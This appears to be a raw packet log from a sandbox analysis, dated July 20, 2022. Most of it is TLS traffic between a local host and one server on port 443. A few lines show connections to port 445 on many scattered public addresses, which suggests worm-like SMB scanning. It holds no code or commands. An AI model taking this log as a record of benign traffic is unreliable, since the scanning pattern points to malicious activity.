Jul 20, 2022 19:09:01.423849106 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.423902988 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.423912048 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.424004078 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.424012899 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.424037933 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.424067020 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.424101114 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.424108982 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.424158096 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.424165964 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.424233913 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.424309969 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.424320936 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.424381971 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.445662975 CEST	53490	445	192.168.2.7	55.96.198.107
Jul 20, 2022 19:09:01.451555014 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.451587915 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.451621056 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.451811075 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.475951910 CEST	53495	445	192.168.2.7	13.137.101.24
Jul 20, 2022 19:09:01.476021051 CEST	53496	445	192.168.2.7	35.41.164.1
Jul 20, 2022 19:09:01.476114988 CEST	53497	445	192.168.2.7	78.195.90.87
Jul 20, 2022 19:09:01.476185083 CEST	53498	445	192.168.2.7	124.73.209.80
Jul 20, 2022 19:09:01.476233006 CEST	53499	445	192.168.2.7	87.195.99.228
Jul 20, 2022 19:09:01.476293087 CEST	53500	445	192.168.2.7	194.119.119.79
Jul 20, 2022 19:09:01.476372957 CEST	53502	445	192.168.2.7	7.82.184.76
Jul 20, 2022 19:09:01.476465940 CEST	53505	445	192.168.2.7	158.131.127.87
Jul 20, 2022 19:09:01.489662886 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.492043018 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.492125034 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.522675037 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.522699118 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.522717953 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.522739887 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.522756100 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.522782087 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.522970915 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.522990942 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.523026943 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.523044109 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.523224115 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.523238897 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.523268938 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.523432016 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.526681900 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.526715994 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.526738882 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.526876926 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.526902914 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.526916027 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.526963949 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.528131962 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.528157949 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.528198957 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.528251886 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.528278112 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.528290033 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.528500080 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.530579090 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.530608892 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.530708075 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.530740023 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.530752897 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.532146931 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.540499926 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.541506052 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.541964054 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.542006969 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.542114973 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.542141914 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.542165995 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.542201042 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.542941093 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.543059111 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.544225931 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.544249058 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.544279099 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.544460058 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.544507027 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.544553041 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.544678926 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.544701099 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.544770956 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.545814991 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.545914888 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.545944929 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.546055079 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.546094894 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.546108961 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.546166897 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.547317028 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.547456026 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.559494019 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.559530973 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.559779882 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.559820890 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.559900045 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.560874939 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.560899973 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.561075926 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.561079025 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.561103106 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.561166048 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.561207056 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.562845945 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.562887907 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.563004017 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.563028097 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.563050985 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.563087940 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.564227104 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.564253092 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.564392090 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.564415932 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.564466953 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.565222979 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.565368891 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.566118002 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.566142082 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.566257000 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.566274881 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.566333055 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.568094015 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.568124056 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.568172932 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.568300009 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.568319082 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.568331003 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.568384886 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.569861889 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.569890976 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.570039034 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.570064068 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.570118904 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.571491957 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.572387934 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.572426081 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.575325966 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.575355053 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.575447083 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.575454950 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.575480938 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.575529099 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.575582981 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.576853991 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.576888084 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.576992989 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.577008009 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.577234030 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.578145027 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.578177929 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.578265905 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.578289986 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.578340054 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.579143047 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.579241037 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.580528975 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.580574989 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.580754042 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.580770969 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.580913067 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.581415892 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.581449986 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.581523895 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.581537008 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.581582069 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.581613064 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.582072973 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.582195997 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.582832098 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.582865000 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.582935095 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.582947969 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.582967997 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.582998037 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.583868980 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.583908081 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.583975077 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.583990097 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.584023952 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.584048033 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.584743023 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.584832907 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.586584091 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.586615086 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.586682081 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.586699009 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.586730957 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.586754084 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.586818933 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.586848974 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.586898088 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.586909056 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.586951971 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.586992979 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.587328911 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.587430954 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.588594913 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.588632107 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.588726997 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.588752985 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.588804960 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.589334965 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.589376926 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.589432955 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.589446068 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.589478016 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.589498043 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.589857101 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.589956999 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.590684891 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.590718985 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.590816975 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.590831995 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.590857029 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.590892076 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.592634916 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.592663050 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.592786074 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.592812061 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.592868090 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.594697952 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.594829082 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.748517036 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.748635054 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.804502010 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.804630995 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.033149004 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.033174992 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033194065 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033363104 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.033375025 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033389091 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033473969 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.033483028 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033497095 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033507109 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033576965 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.033586979 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033653975 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.033662081 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033688068 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.033694029 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.033699989 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033819914 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033827066 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.033849001 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033860922 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.033936024 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.033952951 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.034024954 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.034037113 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.034055948 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.034176111 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.034223080 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.034246922 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.034271955 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.034284115 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.034296989 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.034398079 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.034418106 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.034449100 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.034466982 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.034679890 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.034698963 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.037564993 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.037592888 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.037739992 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.037919044 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.037935972 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038039923 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038156033 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038175106 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.038187027 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038208008 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.038217068 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038235903 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.038244009 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038288116 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.038297892 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038351059 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.038358927 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038419962 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.038430929 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038453102 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038497925 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.038506031 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038517952 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038588047 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.038599968 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038621902 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038676977 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.038686991 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038701057 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.038772106 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.038851976 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.039988995 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.040009022 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040031910 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040047884 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040235043 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.040254116 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040277004 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040304899 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.040314913 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040354967 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.040422916 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.040435076 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040467024 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.040488005 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040509939 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040616035 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.040630102 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040648937 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040664911 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.040672064 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.040694952 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.040803909 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.040869951 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.041960001 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.041980982 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.042010069 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.042017937 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.042222023 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.042489052 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.042505026 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.042542934 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.042561054 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.042609930 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.042706013 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.042716980 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.042785883 CEST	53446	443	192.168.2.7	80.67.82.211
